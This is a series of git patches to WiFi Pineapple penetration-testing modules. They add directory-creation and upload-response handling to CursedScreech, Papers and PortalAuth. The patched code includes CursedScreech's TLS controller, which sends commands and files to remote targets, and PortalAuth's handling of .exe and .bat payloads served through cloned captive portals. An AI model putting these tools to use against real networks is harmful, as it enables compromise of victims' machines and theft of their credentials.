.gitignore files and changed code to create directories --- CursedScreech/api/module.php | 24 +++ CursedScreech/includes/forest/target.py | 250 ++++++++++++------------ CursedScreech/js/module.js | 18 +- Papers/api/module.php | 35 ++++ Papers/includes/download/.gitignore | Bin 6 -> 0 bytes Papers/includes/logs/.gitignore | Bin 6 -> 0 bytes Papers/includes/scripts/cfgHelper.py | 240 +++++++++++------------ Papers/includes/ssh/.gitignore | Bin 6 -> 0 bytes Papers/includes/ssl/.gitignore | Bin 6 -> 0 bytes Papers/js/module.js | 18 +- PortalAuth/README.md | 2 - PortalAuth/api/module.php | 16 ++ PortalAuth/js/module.js | 19 +- 13 files changed, 372 insertions(+), 250 deletions(-) delete mode 100644 Papers/includes/download/.gitignore delete mode 100644 Papers/includes/logs/.gitignore delete mode 100644 Papers/includes/ssh/.gitignore delete mode 100644 Papers/includes/ssl/.gitignore delete mode 100755 PortalAuth/README.md diff --git a/CursedScreech/api/module.php b/CursedScreech/api/module.php index de21987..4defeff 100755 --- a/CursedScreech/api/module.php +++ b/CursedScreech/api/module.php @@ -64,6 +64,9 @@ if (!empty($_FILES)) { class CursedScreech extends Module { public function route() { switch ($this->request->action) { + case 'init': + $this->init(); + break; case 'depends': $this->depends($this->request->task); break; @@ -140,6 +143,27 @@ class CursedScreech extends Module { } } + /* ============================ */ + /* INIT FUNCTIONS */ + /* ============================ */ + + private function init() { + if (!file_exists(__LOGS__)) { + if (!mkdir(__LOGS__, 0755, true)) { + $this->respond(false, "Failed to create logs directory"); + return false; + } + } + + if (!file_exists(__API_DL__)) { + if (!mkdir(__API_DL__, 0755, true)) { + $this->logError("Failed init", "Failed to initialize because the API download directory structure could not be created."); + $this->respond(false); + return false; + } + } + } + /* ============================ */ /* DEPENDS FUNCTIONS */ /* ============================ */ diff --git a/CursedScreech/includes/forest/target.py b/CursedScreech/includes/forest/target.py index 07900ba..9fc6fcc 100755 --- a/CursedScreech/includes/forest/target.py +++ b/CursedScreech/includes/forest/target.py @@ -1,126 +1,126 @@ -from ssl import * -from socket import * -import time -import os - -# Pull settings from file -settingsFile = "/pineapple/modules/CursedScreech/includes/forest/settings" -targetLogLocation = "/pineapple/modules/CursedScreech/includes/forest/targetlogs/" -activity_log = priv_key = pub_cer = client_key = client_serial = "" -settings = {} -with open(settingsFile, "r") as sFile: - for line in sFile: - params = line.strip("\n").split("=") - if params[0] == "activity_log": - activity_log = params[1] - elif params[0] == "kuro_key": - priv_key = params[1] + ".key" - pub_cer = params[1] + ".cer" - elif params[0] == "target_key": - client_key = params[1] + ".cer" - elif params[0] == "client_serial": - client_serial = params[1] - else: - pass - -def logActivity(msg): - with open(activity_log, "a") as log: - log.write(msg + "\n") - -def logReceivedData(data, file): - with open(targetLogLocation + file, "a+") as tLog: - tLog.write(data + "\n") - -class Target: - def __init__(self,addr=None,port=None): - self.addr = addr - self.port = int(port) - self.socket = None - self.msg = "" - self.recvData = "" - self.connected = False - self.lastSeen = time.time() - - def secureConnect(self): - print "[>] Connecting to " + self.sockName() - logActivity("[>] Connecting to " + self.sockName()) - - try: - sck = socket(AF_INET, SOCK_STREAM) - self.socket = wrap_socket(sck, ssl_version=PROTOCOL_SSLv23, keyfile=priv_key, certfile=pub_cer, cert_reqs=CERT_REQUIRED, ca_certs=client_key) - self.socket.settimeout(10) - self.socket.connect((self.addr,self.port)) - self.socket.settimeout(None) - - # Fetch the target's certificate to verify their identity - cert = self.socket.getpeercert() - if not cert['serialNumber'] == client_serial: - logActivity("[-] Certificate serial number doesn't match.") - self.disconnect() - else: - print "[+] Connected to " + self.sockName() + " via " + self.socket.version() - logActivity("[+] Connected to " + self.sockName() + " via " + self.socket.version()) - self.connected = True - - except error as sockerror: - logActivity("[!] Failed to connect to " + self.sockName()) - self.connected = False - - def send(self, data): - if self.isConnected(): - - if "sendfile;" in data: - dataParts = data.split(";") - filePath = dataParts[1] - storeDir = dataParts[2] - self.socket.sendall("sendfile;" + os.path.basename(filePath) + ";" + str(os.path.getsize(filePath)) + ";" + storeDir) - with open(filePath, "rb") as f: - self.socket.sendall(f.read()) - logActivity("[!] File sent to " + self.sockName()) - else: - self.socket.sendall(data.encode()) - logActivity("[!] Command sent to " + self.sockName()) - logReceivedData(data, self.addr) - - - def recv(self): - try: - d = self.socket.recv(4096) - self.recvData = d.decode() - - if not self.recvData: - self.disconnect() - return - - logReceivedData(self.recvData, self.addr) - logActivity("[+] Data received from: " + self.sockName()) - - except KeyboardInterrupt: - return - - except: - self.disconnect() - - def isConnected(self): - return self.connected - - def sockName(self): - return self.addr + ":" + str(self.port) - - def disconnect(self): - logActivity("[!] Closing connection to " + self.sockName()) - try: - self.socket.shutdown(SHUT_RDWR) - except: - pass - self.socket.close() - self.connected = False - - def setPort(self, port): - self.port = int(port) - - def isMissing(self, limit): - if time.time() - self.lastSeen > limit: - return True - else: +from ssl import * +from socket import * +import time +import os + +# Pull settings from file +settingsFile = "/pineapple/modules/CursedScreech/includes/forest/settings" +targetLogLocation = "/pineapple/modules/CursedScreech/includes/forest/targetlogs/" +activity_log = priv_key = pub_cer = client_key = client_serial = "" +settings = {} +with open(settingsFile, "r") as sFile: + for line in sFile: + params = line.strip("\n").split("=") + if params[0] == "activity_log": + activity_log = params[1] + elif params[0] == "kuro_key": + priv_key = params[1] + ".key" + pub_cer = params[1] + ".cer" + elif params[0] == "target_key": + client_key = params[1] + ".cer" + elif params[0] == "client_serial": + client_serial = params[1] + else: + pass + +def logActivity(msg): + with open(activity_log, "a") as log: + log.write(msg + "\n") + +def logReceivedData(data, file): + with open(targetLogLocation + file, "a+") as tLog: + tLog.write(data + "\n") + +class Target: + def __init__(self,addr=None,port=None): + self.addr = addr + self.port = int(port) + self.socket = None + self.msg = "" + self.recvData = "" + self.connected = False + self.lastSeen = time.time() + + def secureConnect(self): + print "[>] Connecting to " + self.sockName() + logActivity("[>] Connecting to " + self.sockName()) + + try: + sck = socket(AF_INET, SOCK_STREAM) + self.socket = wrap_socket(sck, ssl_version=PROTOCOL_SSLv23, keyfile=priv_key, certfile=pub_cer, cert_reqs=CERT_REQUIRED, ca_certs=client_key) + self.socket.settimeout(10) + self.socket.connect((self.addr,self.port)) + self.socket.settimeout(None) + + # Fetch the target's certificate to verify their identity + cert = self.socket.getpeercert() + if not cert['serialNumber'] == client_serial: + logActivity("[-] Certificate serial number doesn't match.") + self.disconnect() + else: + print "[+] Connected to " + self.sockName() + " via " + self.socket.version() + logActivity("[+] Connected to " + self.sockName() + " via " + self.socket.version()) + self.connected = True + + except error as sockerror: + logActivity("[!] Failed to connect to " + self.sockName()) + self.connected = False + + def send(self, data): + if self.isConnected(): + + if "sendfile;" in data: + dataParts = data.split(";") + filePath = dataParts[1] + storeDir = dataParts[2] + self.socket.sendall("sendfile;" + os.path.basename(filePath) + ";" + str(os.path.getsize(filePath)) + ";" + storeDir) + with open(filePath, "rb") as f: + self.socket.sendall(f.read()) + logActivity("[!] File sent to " + self.sockName()) + else: + self.socket.sendall(data.encode()) + logActivity("[!] Command sent to " + self.sockName()) + logReceivedData(data, self.addr) + + + def recv(self): + try: + d = self.socket.recv(4096) + self.recvData = d.decode() + + if not self.recvData: + self.disconnect() + return + + logReceivedData(self.recvData, self.addr) + logActivity("[+] Data received from: " + self.sockName()) + + except KeyboardInterrupt: + return + + except: + self.disconnect() + + def isConnected(self): + return self.connected + + def sockName(self): + return self.addr + ":" + str(self.port) + + def disconnect(self): + logActivity("[!] Closing connection to " + self.sockName()) + try: + self.socket.shutdown(SHUT_RDWR) + except: + pass + self.socket.close() + self.connected = False + + def setPort(self, port): + self.port = int(port) + + def isMissing(self, limit): + if time.time() - self.lastSeen > limit: + return True + else: return False \ No newline at end of file diff --git a/CursedScreech/js/module.js b/CursedScreech/js/module.js index 2349b2c..8f20077 100755 --- a/CursedScreech/js/module.js +++ b/CursedScreech/js/module.js @@ -683,7 +683,7 @@ registerController('CursedScreechController', ['$api', '$scope', '$sce', '$inter $http.post("/modules/CursedScreech/api/module.php", fd, { transformRequest: angular.identity, headers: {'Content-Type': undefined} - }).success(function(response) { + }).then(function(response) { for (var key in response) { if (response.hasOwnProperty(key)) { if (response.key == "Failed") { @@ -758,6 +758,22 @@ registerController('CursedScreechController', ['$api', '$scope', '$sce', '$inter $scope.stop = undefined; }); + $scope.init = (function(){ + $api.request({ + module: 'CursedScreech', + action: 'init' + },function(response){ + if (response.success == false) { + if (response.message != '') { + $scope.getLogs(); + } else { + alert(response.message); + } + } + }); + }); + + $scope.init(); $scope.loadAvailableInterfaces(); $scope.loadSettings(); $scope.loadEZCmds(); diff --git a/Papers/api/module.php b/Papers/api/module.php index 914d8fd..9f7f485 100755 --- a/Papers/api/module.php +++ b/Papers/api/module.php @@ -54,6 +54,9 @@ class Papers extends Module { public function route() { switch ($this->request->action) { + case 'init': + $this->init(); + break; case 'checkDepends': $this->checkDepends(); break; @@ -104,6 +107,38 @@ class Papers extends Module break; } } + private function init() { + if (!file_exists(__LOGS__)) { + if (!mkdir(__LOGS__, 0755, true)) { + $this->respond(false, "Failed to create logs directory"); + return false; + } + } + + if (!file_exists(__DOWNLOAD__)) { + if (!mkdir(__DOWNLOAD__, 0755, true)) { + Papers::logError("Failed init", "Failed to initialize because the 'download' directory structure could not be created"); + $this->respond(false); + return false; + } + } + + if (!file_exists(__SSLSTORE__)) { + if (!mkdir(__SSLSTORE__, 0755, true)) { + Papers::logError("Failed init", "Failed to initialize because the 'ssl store' directory structure could not be created"); + $this->respond(false); + return false; + } + } + + if (!file_exists(__SSHSTORE__)) { + if (!mkdir(__SSHSTORE__, 0755, true)) { + Papers::logError("Failed init", "Failed to initialize because the 'ssh store' directory structure could not be created"); + $this->respond(false); + return false; + } + } + } private function checkDepends() { $retData = array(); exec(__SCRIPTS__ . "checkDepends.sh", $retData); diff --git a/Papers/includes/download/.gitignore b/Papers/includes/download/.gitignore deleted file mode 100644 index 49cc8ef0e116cef009fe0bd72473a964bbd07f9b..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 6 NcmezWkC%aq0RRg=0u=xN diff --git a/Papers/includes/logs/.gitignore b/Papers/includes/logs/.gitignore deleted file mode 100644 index 49cc8ef0e116cef009fe0bd72473a964bbd07f9b..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 6 NcmezWkC%aq0RRg=0u=xN diff --git a/Papers/includes/scripts/cfgHelper.py b/Papers/includes/scripts/cfgHelper.py index 274b00b..fb48f51 100755 --- a/Papers/includes/scripts/cfgHelper.py +++ b/Papers/includes/scripts/cfgHelper.py @@ -1,121 +1,121 @@ -# Author: sud0nick -# Date: Apr 2016 - -from subprocess import call -import os - -class ConfigHelper: - - def __init__(self, sslDir = "/etc/nginx/ssl/"): - self.nginxConf = "/etc/nginx/nginx.conf" - self.lines = [f for f in open(self.nginxConf)] - self.ssl_dir = sslDir - self.serverBlockIndex = self.getServerBlockIndex() - self.currentSSLCerts = self.getCurrentSSLCerts() - - - def checkSSLCertsExist(self): - flags = [".key", ".cer"] - if os.path.isdir(self.ssl_dir): - for file in os.listdir(self.ssl_dir): - for flag in flags: - if flag in file: - flags.remove(flag) - if flags: - return False - else: - return True - - def getCurrentSSLCerts(self): - certs = [] - index = self.serverBlockIndex - for line in self.lines[index:]: - if "ssl_certificate" in line: - i = line.rfind("/") - certs.append(line[i+1:].strip(";\n")) - - return certs - - - def getServerBlockIndex(self): - index = 0 - for line in self.lines: - if ("listen" in line) and not ("80" in line or "443" in line): - return index - index = index + 1 - - return False - - - def checkSSLConfigStatus(self): - index = self.serverBlockIndex - for line in self.lines[index:]: - if "1471 ssl;" in line: - return True - - return False - - - def addSSLConfig(self, keyName): - - # Check if SSL has already been configured for port 1471 - if self.checkSSLConfigStatus(): - return True - - index = 0 - cert = keyName + ".cer" - key = keyName + ".key" - - with open(self.nginxConf, "w") as out: - for line in self.lines: - if index == self.serverBlockIndex: - line = "\t\tlisten\t1471 ssl;\n" - - if index > self.serverBlockIndex: - if "root /pineapple/;" in line: - self.lines.insert(index + 1, "\t\tssl_certificate /etc/nginx/ssl/" + cert + ";\n" - "\t\tssl_certificate_key /etc/nginx/ssl/" + key + ";\n" - "\t\tssl_protocols TLSv1 TLSv1.1 TLSv1.2;\n") - index = index + 1 - out.write(line) - call(["/etc/init.d/nginx", "reload"]) - - return True - - def replaceSSLConfig(self, newKey): - cert = newKey + ".cer" - key = newKey + ".key" - currentKey = self.currentSSLCerts[0].rsplit(".")[0] - index = 0 - - with open(self.nginxConf, "w") as out: - for line in self.lines: - if index > self.serverBlockIndex: - if (currentKey + ".cer") in line: - line = "\t\tssl_certificate /etc/nginx/ssl/" + cert + ";\n" - - if (currentKey + ".key") in line: - line = "\t\tssl_certificate_key /etc/nginx/ssl/" + key + ";\n" - - index = index + 1 - out.write(line) - - call(["/etc/init.d/nginx", "reload"]) - - - def removeSSLConfig(self): - index = 0 - with open(self.nginxConf, "w") as out: - for line in self.lines: - if index == self.serverBlockIndex: - line = "\t\tlisten\t1471;\n" - - if index > self.serverBlockIndex: - if "ssl_certificate" in line or "ssl_protocols" in line: - continue - - index = index + 1 - out.write(line) - - call(["/etc/init.d/nginx", "reload"]) +# Author: sud0nick +# Date: Apr 2016 + +from subprocess import call +import os + +class ConfigHelper: + + def __init__(self, sslDir = "/etc/nginx/ssl/"): + self.nginxConf = "/etc/nginx/nginx.conf" + self.lines = [f for f in open(self.nginxConf)] + self.ssl_dir = sslDir + self.serverBlockIndex = self.getServerBlockIndex() + self.currentSSLCerts = self.getCurrentSSLCerts() + + + def checkSSLCertsExist(self): + flags = [".key", ".cer"] + if os.path.isdir(self.ssl_dir): + for file in os.listdir(self.ssl_dir): + for flag in flags: + if flag in file: + flags.remove(flag) + if flags: + return False + else: + return True + + def getCurrentSSLCerts(self): + certs = [] + index = self.serverBlockIndex + for line in self.lines[index:]: + if "ssl_certificate" in line: + i = line.rfind("/") + certs.append(line[i+1:].strip(";\n")) + + return certs + + + def getServerBlockIndex(self): + index = 0 + for line in self.lines: + if ("listen" in line) and not ("80" in line or "443" in line): + return index + index = index + 1 + + return False + + + def checkSSLConfigStatus(self): + index = self.serverBlockIndex + for line in self.lines[index:]: + if "1471 ssl;" in line: + return True + + return False + + + def addSSLConfig(self, keyName): + + # Check if SSL has already been configured for port 1471 + if self.checkSSLConfigStatus(): + return True + + index = 0 + cert = keyName + ".cer" + key = keyName + ".key" + + with open(self.nginxConf, "w") as out: + for line in self.lines: + if index == self.serverBlockIndex: + line = "\t\tlisten\t1471 ssl;\n" + + if index > self.serverBlockIndex: + if "root /pineapple/;" in line: + self.lines.insert(index + 1, "\t\tssl_certificate /etc/nginx/ssl/" + cert + ";\n" + "\t\tssl_certificate_key /etc/nginx/ssl/" + key + ";\n" + "\t\tssl_protocols TLSv1 TLSv1.1 TLSv1.2;\n") + index = index + 1 + out.write(line) + call(["/etc/init.d/nginx", "reload"]) + + return True + + def replaceSSLConfig(self, newKey): + cert = newKey + ".cer" + key = newKey + ".key" + currentKey = self.currentSSLCerts[0].rsplit(".")[0] + index = 0 + + with open(self.nginxConf, "w") as out: + for line in self.lines: + if index > self.serverBlockIndex: + if (currentKey + ".cer") in line: + line = "\t\tssl_certificate /etc/nginx/ssl/" + cert + ";\n" + + if (currentKey + ".key") in line: + line = "\t\tssl_certificate_key /etc/nginx/ssl/" + key + ";\n" + + index = index + 1 + out.write(line) + + call(["/etc/init.d/nginx", "reload"]) + + + def removeSSLConfig(self): + index = 0 + with open(self.nginxConf, "w") as out: + for line in self.lines: + if index == self.serverBlockIndex: + line = "\t\tlisten\t1471;\n" + + if index > self.serverBlockIndex: + if "ssl_certificate" in line or "ssl_protocols" in line: + continue + + index = index + 1 + out.write(line) + + call(["/etc/init.d/nginx", "reload"]) \ No newline at end of file diff --git a/Papers/includes/ssh/.gitignore b/Papers/includes/ssh/.gitignore deleted file mode 100644 index 49cc8ef0e116cef009fe0bd72473a964bbd07f9b..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 6 NcmezWkC%aq0RRg=0u=xN diff --git a/Papers/includes/ssl/.gitignore b/Papers/includes/ssl/.gitignore deleted file mode 100644 index 49cc8ef0e116cef009fe0bd72473a964bbd07f9b..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 6 NcmezWkC%aq0RRg=0u=xN diff --git a/Papers/js/module.js b/Papers/js/module.js index 3d8d094..c1b8e50 100755 --- a/Papers/js/module.js +++ b/Papers/js/module.js @@ -404,7 +404,7 @@ registerController('PapersController', ['$api', '$scope', '$sce', '$http', funct $http.post("/modules/Papers/api/module.php", fd, { transformRequest: angular.identity, headers: {'Content-Type': undefined} - }).success(function(response) { + }).then(function(response) { for (var key in response) { if (response.hasOwnProperty(key)) { if (response.key == "Failed") { @@ -418,7 +418,23 @@ registerController('PapersController', ['$api', '$scope', '$sce', '$http', funct }); }); + $scope.init = (function(){ + $api.request({ + module: 'Papers', + action: 'init' + },function(response){ + if (response.success == false) { + if (response.message != '') { + $scope.getLogs(); + } else { + alert(response.message); + } + } + }); + }); + // Init + $scope.init(); $scope.checkDepends(); $scope.refresh(); }]) diff --git a/PortalAuth/README.md b/PortalAuth/README.md deleted file mode 100755 index 0c64461..0000000 --- a/PortalAuth/README.md +++ /dev/null @@ -1,2 +0,0 @@ -# PortalAuth -Captive portal cloner and payload distributor for the WiFi Pineapple NANO and TETRA diff --git a/PortalAuth/api/module.php b/PortalAuth/api/module.php index 2fcfd36..f1d04a6 100755 --- a/PortalAuth/api/module.php +++ b/PortalAuth/api/module.php @@ -94,6 +94,9 @@ class PortalAuth extends Module { public function route() { switch($this->request->action) { + case 'init': + $this->init(); + break; case 'depends': $this->depends($this->request->params); break; @@ -224,6 +227,19 @@ class PortalAuth extends Module } } + /* ============================ */ + /* INIT FUNCTIONS */ + /* ============================ */ + + private function init() { + if (!file_exists(__LOGS__)) { + if (!mkdir(__LOGS__, 0755, true)) { + $this->respond(false, "Failed to create logs directory"); + return false; + } + } + } + //============================// // DEPENDENCY FUNCTIONS // //============================// diff --git a/PortalAuth/js/module.js b/PortalAuth/js/module.js index 482880a..3eb7300 100755 --- a/PortalAuth/js/module.js +++ b/PortalAuth/js/module.js @@ -716,8 +716,25 @@ registerController('PortalAuthController', ['$api', '$scope', '$sce', '$interval $interval.cancel($scope.stop); $scope.stop = undefined; }); - + + // Init + $scope.init = (function(){ + $api.request({ + module: 'PortalAuth', + action: 'init' + },function(response){ + if (response.success == false) { + if (response.message != '') { + $scope.getLogs(); + } else { + alert(response.message); + } + } + }); + }); + // Init functions + $scope.init(); $scope.depends("-check"); $scope.isOnline(); $scope.checkTestServerConfig(); From c7e3b0cbc0bc4ad6cd5b9f291da78bd7c01ea80e Mon Sep 17 00:00:00 2001 From: sud0nick Date: Fri, 12 Jan 2018 21:10:40 -0500 Subject: [PATCH 06/12] Version 1.6 --- PortalAuth/api/module.php | 20 +++++++++++++------- PortalAuth/includes/changelog/Version 1.5 | 5 +++++ PortalAuth/includes/changelog/Version 1.6 | 6 ++++++ PortalAuth/includes/help/payloads.help | 1 + PortalAuth/js/module.js | 13 +++++++++---- PortalAuth/module.info | 2 +- 6 files changed, 35 insertions(+), 12 deletions(-) create mode 100644 PortalAuth/includes/changelog/Version 1.5 create mode 100644 PortalAuth/includes/changelog/Version 1.6 diff --git a/PortalAuth/api/module.php b/PortalAuth/api/module.php index f1d04a6..440f5d6 100755 --- a/PortalAuth/api/module.php +++ b/PortalAuth/api/module.php @@ -43,13 +43,16 @@ if (!empty($_FILES)) { $response = []; foreach ($_FILES as $file) { $tempPath = $file[ 'tmp_name' ]; - $name = $file['name']; + $name = pathinfo($file['name'], PATHINFO_FILENAME); $type = pathinfo($file['name'], PATHINFO_EXTENSION); switch ($type) { case 'exe': $dest = __WINDL__; break; + case 'bat': + $dest = __WINDL__; + break; case 'zip': $dest = __OSXDL__; break; @@ -63,26 +66,29 @@ if (!empty($_FILES)) { $dest = __INJECTS__; break; default: - break; + $response[$name]['success'] = "Failed"; + $response[$name]['message'] = "File type '" . $type . "' is not supported"; + continue 2; } // Ensure the upload directory exists if (!file_exists($dest)) { if (!mkdir($dest, 0755, true)) { - PortalAuth::logError("Failed Upload", "Failed to upload " . $file['name'] . " because the directory structure could not be created"); + PortalAuth::logError("Failed Upload", "Failed to upload " . $name . "." . $type . " because the directory structure could not be created"); } } - $uploadPath = $dest . $name; + $uploadPath = $dest . $name . "." . $type; $res = move_uploaded_file( $tempPath, $uploadPath ); if ($res) { if ($type == "gz") { - exec(__SCRIPTS__ . "unpackInjectionSet.sh " . $name); + exec(__SCRIPTS__ . "unpackInjectionSet.sh " . $name . "." . $type); } - $response[$name] = "Success"; + $response[$name]['success'] = "Success"; } else { - $response[$name] = "Failed"; + $response[$name]['success'] = "Failed"; + $response[$name]['message'] = "Failed to upload " . $name . "." . $type; } } echo json_encode($response); diff --git a/PortalAuth/includes/changelog/Version 1.5 b/PortalAuth/includes/changelog/Version 1.5 new file mode 100644 index 0000000..d1954cd --- /dev/null +++ b/PortalAuth/includes/changelog/Version 1.5 @@ -0,0 +1,5 @@ +January 5, 2018 +

+ - The module now creates expected directories automatically
+ - Fixed a bug that was introduced with latest version of AngularJS
+ \ No newline at end of file diff --git a/PortalAuth/includes/changelog/Version 1.6 b/PortalAuth/includes/changelog/Version 1.6 new file mode 100644 index 0000000..15c8c12 --- /dev/null +++ b/PortalAuth/includes/changelog/Version 1.6 @@ -0,0 +1,6 @@ +January 12, 2018 +

+ - Added changelog for version 1.5
+ - Added support for .bat files in the payload section
+ - Added a response when unsupported file types are uploaded
+ \ No newline at end of file diff --git a/PortalAuth/includes/help/payloads.help b/PortalAuth/includes/help/payloads.help index 20d1981..6539126 100755 --- a/PortalAuth/includes/help/payloads.help +++ b/PortalAuth/includes/help/payloads.help @@ -9,6 +9,7 @@ uploaded they are automatically stored in the proper location based on their fil

  • .exe => /www/download/windows/
  • +
  • .bat => /www/download/windows/
  • .zip => /www/download/osx/
  • .ipk => /www/download/android/
  • .ipa => /www/download/ios/
  • diff --git a/PortalAuth/js/module.js b/PortalAuth/js/module.js index 3eb7300..4c60ddb 100755 --- a/PortalAuth/js/module.js +++ b/PortalAuth/js/module.js @@ -641,13 +641,18 @@ registerController('PortalAuthController', ['$api', '$scope', '$sce', '$interval transformRequest: angular.identity, headers: {'Content-Type': undefined} }).then(function(response) { - for (var key in response) { - if (response.hasOwnProperty(key)) { - if (response.key == "Failed") { - alert("Failed to upload " + key); + var errors = {}; + for (var key in response.data) { + if (response.data[key].success == "Failed") { + var msg = response.data[key].message + '\n'; + if (!errors.hasOwnProperty(msg)) { + errors[msg] = true; } } } + if (Object.keys(errors).length > 0) { + alert(Object.keys(errors).join('')); + } $scope.pa_selectedFiles = []; $scope.getInjectionSets(); $scope.getPayloads(); diff --git a/PortalAuth/module.info b/PortalAuth/module.info index 66cf489..01128f1 100755 --- a/PortalAuth/module.info +++ b/PortalAuth/module.info @@ -6,5 +6,5 @@ "tetra" ], "title": "Portal Auth", - "version": "1.5" + "version": "1.6" } \ No newline at end of file From e6af6358a39b4800c00f13ffebb33d1dd170283d Mon Sep 17 00:00:00 2001 From: sud0nick Date: Fri, 12 Jan 2018 21:47:31 -0500 Subject: [PATCH 07/12] Version 1.4 --- CursedScreech/api/module.php | 13 ++++++++----- CursedScreech/includes/changelog/Version 1.4 | 4 ++++ CursedScreech/js/module.js | 13 +++++++++---- CursedScreech/module.info | 2 +- 4 files changed, 22 insertions(+), 10 deletions(-) create mode 100644 CursedScreech/includes/changelog/Version 1.4 diff --git a/CursedScreech/api/module.php b/CursedScreech/api/module.php index 4defeff..17c711b 100755 --- a/CursedScreech/api/module.php +++ b/CursedScreech/api/module.php @@ -37,24 +37,27 @@ if (!empty($_FILES)) { $response = []; foreach ($_FILES as $file) { $tempPath = $file[ 'tmp_name' ]; - $name = $file['name']; + $name = pathinfo($file['name'], PATHINFO_FILENAME); + $type = pathinfo($file['name'], PATHINFO_EXTENSION); // Ensure the upload directory exists if (!file_exists(__PAYLOADS__)) { if (!mkdir(__PAYLOADS__, 0755, true)) { - $response[$name] = "Failed"; + $response[$name]['success'] = "Failed"; + $response[$name]['message'] = "Failed to create payloads directory"; echo json_encode($response); die(); } } - $uploadPath = __PAYLOADS__ . $name; + $uploadPath = __PAYLOADS__ . $name . "." . $type; $res = move_uploaded_file($tempPath, $uploadPath); if ($res) { - $response[$name] = "Success"; + $response[$name]['success'] = "Success"; } else { - $response[$name] = "Failed"; + $response[$name]['success'] = "Failed"; + $response[$name]['message'] = "Failed to upload payload '" . $name . "." . $type . "'"; } } echo json_encode($response); diff --git a/CursedScreech/includes/changelog/Version 1.4 b/CursedScreech/includes/changelog/Version 1.4 new file mode 100644 index 0000000..9fd6887 --- /dev/null +++ b/CursedScreech/includes/changelog/Version 1.4 @@ -0,0 +1,4 @@ +January 12, 2018 +

    + - Updated upload functionality to include better responses if uploads fail
    + \ No newline at end of file diff --git a/CursedScreech/js/module.js b/CursedScreech/js/module.js index 8f20077..1c3c94a 100755 --- a/CursedScreech/js/module.js +++ b/CursedScreech/js/module.js @@ -684,13 +684,18 @@ registerController('CursedScreechController', ['$api', '$scope', '$sce', '$inter transformRequest: angular.identity, headers: {'Content-Type': undefined} }).then(function(response) { - for (var key in response) { - if (response.hasOwnProperty(key)) { - if (response.key == "Failed") { - alert("Failed to upload " + key); + var errors = {}; + for (var key in response.data) { + if (response.data[key].success == "Failed") { + var msg = response.data[key].message + '\n'; + if (!errors.hasOwnProperty(msg)) { + errors[msg] = true; } } } + if (Object.keys(errors).length > 0) { + alert(Object.keys(errors).join('')); + } $scope.selectedFiles = []; $scope.getPayloads(); $scope.uploading = false; diff --git a/CursedScreech/module.info b/CursedScreech/module.info index 54cdc2a..8dcf583 100755 --- a/CursedScreech/module.info +++ b/CursedScreech/module.info @@ -6,5 +6,5 @@ "tetra" ], "title": "CursedScreech", - "version": "1.3" + "version": "1.4" } From ae53ba8ea1f440c473cb4663cf0eb860a5698a95 Mon Sep 17 00:00:00 2001 From: sud0nick Date: Fri, 12 Jan 2018 22:02:48 -0500 Subject: [PATCH 08/12] PortalAuth 1.6 & CursedScreech 1.4 --- CursedScreech/js/module.js | 7 ------- CursedScreech/module.info | 4 ---- PortalAuth/js/module.js | 7 ------- PortalAuth/module.info | 4 ---- 4 files changed, 22 deletions(-) diff --git a/CursedScreech/js/module.js b/CursedScreech/js/module.js index 15425dc..1c3c94a 100755 --- a/CursedScreech/js/module.js +++ b/CursedScreech/js/module.js @@ -684,19 +684,12 @@ registerController('CursedScreechController', ['$api', '$scope', '$sce', '$inter transformRequest: angular.identity, headers: {'Content-Type': undefined} }).then(function(response) { -<<<<<<< HEAD var errors = {}; for (var key in response.data) { if (response.data[key].success == "Failed") { var msg = response.data[key].message + '\n'; if (!errors.hasOwnProperty(msg)) { errors[msg] = true; -======= - for (var key in response) { - if (response.hasOwnProperty(key)) { - if (response.key == "Failed") { - alert("Failed to upload " + key); ->>>>>>> upstream/master } } } diff --git a/CursedScreech/module.info b/CursedScreech/module.info index 68a1b8e..8dcf583 100755 --- a/CursedScreech/module.info +++ b/CursedScreech/module.info @@ -6,9 +6,5 @@ "tetra" ], "title": "CursedScreech", -<<<<<<< HEAD "version": "1.4" -======= - "version": "1.3" ->>>>>>> upstream/master } diff --git a/PortalAuth/js/module.js b/PortalAuth/js/module.js index b712858..4c60ddb 100755 --- a/PortalAuth/js/module.js +++ b/PortalAuth/js/module.js @@ -641,19 +641,12 @@ registerController('PortalAuthController', ['$api', '$scope', '$sce', '$interval transformRequest: angular.identity, headers: {'Content-Type': undefined} }).then(function(response) { -<<<<<<< HEAD var errors = {}; for (var key in response.data) { if (response.data[key].success == "Failed") { var msg = response.data[key].message + '\n'; if (!errors.hasOwnProperty(msg)) { errors[msg] = true; -======= - for (var key in response) { - if (response.hasOwnProperty(key)) { - if (response.key == "Failed") { - alert("Failed to upload " + key); ->>>>>>> upstream/master } } } diff --git a/PortalAuth/module.info b/PortalAuth/module.info index 8360766..01128f1 100755 --- a/PortalAuth/module.info +++ b/PortalAuth/module.info @@ -6,9 +6,5 @@ "tetra" ], "title": "Portal Auth", -<<<<<<< HEAD "version": "1.6" -======= - "version": "1.5" ->>>>>>> upstream/master } \ No newline at end of file From 5189bc5bc3efaecd187fe2285a34fd5490d0f78d Mon Sep 17 00:00:00 2001 From: sud0nick Date: Sun, 15 Jul 2018 23:51:02 -0400 Subject: [PATCH 09/12] Portal Auth and Cursed Screech Updates --- CursedScreech/README.md | 66 + CursedScreech/api/module.php | 8 + CursedScreech/includes/changelog/Version 1.5 | 4 + CursedScreech/module.info | 2 +- PortalAuth/README.md | 2 + PortalAuth/api/module.php | 22 +- PortalAuth/includes/changelog/Version 1.7 | 6 + PortalAuth/includes/help/cloner.help | 1 + PortalAuth/includes/scripts/PortalCloner.py | 11 +- .../scripts/injects/Blank/MyPortal.php | 4 +- .../injects/Blank/backups/MyPortal.php | 4 +- .../scripts/injects/Blank/backups/helper.php | 45 + .../includes/scripts/injects/Blank/helper.php | 45 + .../injects/Free_WiFi_Week/MyPortal.php | 4 +- .../Free_WiFi_Week/backups/MyPortal.php | 4 +- .../injects/Free_WiFi_Week/backups/helper.php | 45 + .../scripts/injects/Free_WiFi_Week/helper.php | 45 + .../scripts/injects/Harvester/MyPortal.php | 4 +- .../injects/Harvester/backups/MyPortal.php | 4 +- .../injects/Harvester/backups/helper.php | 45 + .../scripts/injects/Harvester/helper.php | 45 + .../scripts/injects/Payloader/MyPortal.php | 4 +- .../injects/Payloader/backups/MyPortal.php | 4 +- .../injects/Payloader/backups/helper.php | 45 + 